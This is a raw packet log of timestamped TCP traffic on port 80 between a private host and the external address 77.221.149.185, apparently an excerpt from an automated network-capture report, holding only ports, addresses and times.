Jul 2, 2024 22:52:25.732141972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732180119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732194901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732206106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732215881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732227087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732235909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732243061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732254982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732284069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732450962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732461929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732472897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732487917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732500076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732525110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732583046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732594013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732601881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732606888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732611895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732621908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732630968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732640982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732641935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732650042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732660055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.732673883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732687950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.732706070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733340025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733350992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733361006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733371019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733382940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733392954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733402967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733426094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733473063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733628035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733673096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733831882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733843088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733853102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733860016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733865023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733875990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733885050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733889103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733896017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733906031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733916044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733917952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733925104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733936071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733939886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733943939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733954906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733954906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.733964920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.733967066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.734005928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.734771013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734782934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734795094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734805107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734814882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734816074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.734827995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734837055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734844923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.734847069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734857082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734865904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734875917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734882116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.734888077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734896898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734903097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.734906912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.734915018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.734946012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.735569954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735580921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735590935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735600948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735610962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735620022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735624075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.735630035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735640049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735641003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.735651016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735661983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735662937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.735673904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735682964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735692024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735702991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.735702991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735713005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735723019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.735738039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.735755920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.736465931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736476898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736495018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736506939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736511946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.736519098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736530066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736540079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736548901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736552000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.736560106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736569881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736579895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.736581087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.736598969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.736625910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.770646095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.770694971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.770704985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.770807981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.771075964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.771086931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.771096945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.771106958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.771209002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.771209002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.819653988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819706917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819716930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819833040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.819833040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.819854975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819871902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819885969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819895983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819905043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.819916964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.819946051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820117950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820127010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820172071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820175886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820187092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820197105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820207119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820213079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820216894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820240974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820274115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820521116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820530891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820540905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820566893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820796013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820810080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820820093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820830107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820837021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820839882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820849895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820861101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820861101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820873022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.820884943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.820902109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.821304083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821316957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821326017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821336031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821345091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821353912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821357965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.821365118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821373940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821384907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821384907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.821393967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821405888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821407080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.821440935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.821981907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.821990967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822000027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822010994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822021008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822025061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822030067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822038889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822052002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822062016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822063923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822071075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822079897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822087049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822088957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822118998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822143078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822702885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822711945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822720051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822730064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822737932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822747946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822757006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822757006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822766066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822767019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822777033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822782993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822788000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822797060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822799921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822808027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822818041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822828054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822835922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822838068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822849035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.822865963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822874069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.822889090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.823693991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823704004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823713064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823723078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823731899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823740959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823745966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.823750019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823759079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823767900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823771954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823772907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.823781967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823791981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823801041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823808908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.823810101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.823834896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.823853970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824225903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824242115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824290037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824394941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824405909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824414968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824424982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824434042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824440956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824444056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824453115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824460030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824462891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824474096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824475050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824489117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824498892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824508905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824510098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824517965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824528933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.824537039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824551105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.824568033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.825283051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825294018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825304031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825320959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825330019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825330973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.825339079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825347900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825355053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.825357914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825368881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825377941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825386047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.825388908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825397968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.825412989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.825447083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.859600067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.859621048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.859631062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.859759092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.859766960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.859778881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.859790087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.859807014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.859807014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.859822035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.860183001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.860227108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.908651114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908705950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908719063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908751965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908762932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908772945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908777952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.908938885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.908938885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.908945084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908956051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908972025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908987045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.908993006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.908998013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909008026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909032106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909059048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909409046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909418106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909427881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909437895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909447908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909454107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909459114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909480095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909492970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909635067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909681082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909691095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909699917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909723043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909749031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.909923077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909934044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.909948111 CEST	80	49712	77.221.149.185	192.168.2.5
